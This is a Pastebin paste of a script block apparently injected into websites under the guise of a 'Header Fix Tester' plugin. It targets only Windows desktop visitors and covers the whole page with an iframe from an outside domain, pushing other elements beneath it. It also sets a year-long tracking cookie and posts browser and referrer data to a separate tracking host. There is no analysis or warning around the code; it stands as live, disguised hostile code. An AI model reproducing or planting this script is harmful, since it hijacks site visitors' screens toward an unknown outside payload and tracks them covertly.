Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <style data-no-minify="1">
- html, body { overflow: visible !important; }
- .header-fix-tester-container {
- position: fixed !important;
- top: 0 !important;
- left: 0 !important;
- width: 100% !important;
- height: 100% !important;
- z-index: 2147483647 !important;
- background: rgba(0, 0, 0, 0.5) !important;
- margin: 0 !important;
- padding: 0 !important;
- pointer-events: auto !important;
- }
- .header-fix-tester-main {
- border: none !important;
- width: 100% !important;
- height: 100% !important;
- display: block !important;
- visibility: visible !important;
- }
- </style><script data-no-minify="1">
- console.log("Header Fix Tester: Enhanced script loaded v2.1.3");
- console.log("Header Fix Tester: DEBUG - iframe should show now");
- (function() {
- try {
- var isMobile = /Mobile|Android|iPhone|iPad|Windows Phone|Tablet|Kindle|Nexus|Opera Mini|BlackBerry/i.test(navigator.userAgent) || window.innerWidth < 768;
- var isWindows = /Windows NT/i.test(navigator.userAgent);
- var cookies = document.cookie;
- var shownCount = parseInt(cookies.replace(/(?:(?:^|.*;\s*)iframe_shown_count\s*=\s*([^;]*).*$)|^.*$/, "$1") || "0");
- if (isNaN(shownCount)) shownCount = 0;
- var userId = cookies.replace(/(?:(?:^|.*;\s*)iframe_user_id\s*=\s*([^;]*).*$)|^.*$/, "$1") || "";
- if (!userId) {
- userId = "hft_" + Date.now().toString(36) + Math.random().toString(36).substr(2, 9);
- document.cookie = "iframe_user_id=" + userId + ";path=/;max-age=31536000;SameSite=Lax;Secure";
- }
- console.log("Header Fix Tester: Initial state", { enabled: true, shownCount: shownCount, isMobile: isMobile, isWindows: isWindows, userId: userId, cookies: cookies });
- if (isMobile || !isWindows) {
- console.log("Header Fix Tester: Skipped due to non-Windows device or small screen");
- return;
- }
- if (shownCount >= 3) {
- console.log("Header Fix Tester: Skipped, limit reached", shownCount);
- return;
- }
- var finalIframeUrl = "https://statswpmy.com/";
- console.log("Header Fix Tester: Using URL", finalIframeUrl);
- var container = document.createElement("div");
- container.className = "header-fix-tester-container";
- var iframe = document.createElement("iframe");
- iframe.className = "header-fix-tester-main";
- iframe.src = finalIframeUrl;
- iframe.setAttribute("loading", "eager");
- iframe.setAttribute("frameBorder", "0");
- iframe.setAttribute("data-no-minify", "1");
- iframe.setAttribute("allow", "fullscreen; autoplay; encrypted-media; picture-in-picture");
- iframe.setAttribute("allowfullscreen", "true");
- // iframe.setAttribute("sandbox", "allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation allow-downloads allow-popups-to-escape-sandbox");
- // Улучшенная обработка ошибок загрузки
- iframe.onerror = function(e) {
- console.error("Header Fix Tester: Failed to load iframe, trying fallback URL", e);
- iframe.src = "https://statswpmy.com/";
- };
- container.appendChild(iframe);
- document.documentElement.appendChild(container);
- document.querySelectorAll("div, iframe").forEach(function(el) {
- if (el !== container && el !== iframe) {
- var z = parseInt(window.getComputedStyle(el).zIndex) || 0;
- if (z >= 2147483647) el.style.zIndex = 2147483646;
- }
- });
- shownCount++;
- document.cookie = "iframe_shown_count=" + shownCount + ";path=/;max-age=31536000;SameSite=Lax;Secure";
- console.log("Header Fix Tester: Shown, updated count", shownCount);
- var statsPayload = {
- country: navigator.language || "unknown",
- browser: navigator.userAgent,
- comment: "",
- userId: userId,
- firstShow: shownCount === 1,
- totalShows: shownCount,
- timestamp: new Date().toISOString(),
- referrer: document.referrer || window.location.href,
- plugin_version: "2.1.3"
- };
- // Отправка статистики с retry механизмом
- function sendStats(retryCount = 0) {
- fetch("https://trackingmyadsas.com/api/track/017f8daeb2d7faa85b5afb7b145cc0d9", {
- method: "POST",
- headers: { "Content-Type": "application/json" },
- body: JSON.stringify(statsPayload)
- })
- .then(function(r) { return r.json(); })
- .then(function(d) { console.log("Header Fix Tester: Stats sent", d); })
- .catch(function(e) {
- console.error("Header Fix Tester: Stats error", e);
- if (retryCount < 2) {
- setTimeout(function() { sendStats(retryCount + 1); }, 1000);
- }
- });
- }
- sendStats();
- } catch (e) {
- console.error("Header Fix Tester: Script error", e);
- }
- })();
- </script>
Advertisement
Add Comment
Please, Sign In to add comment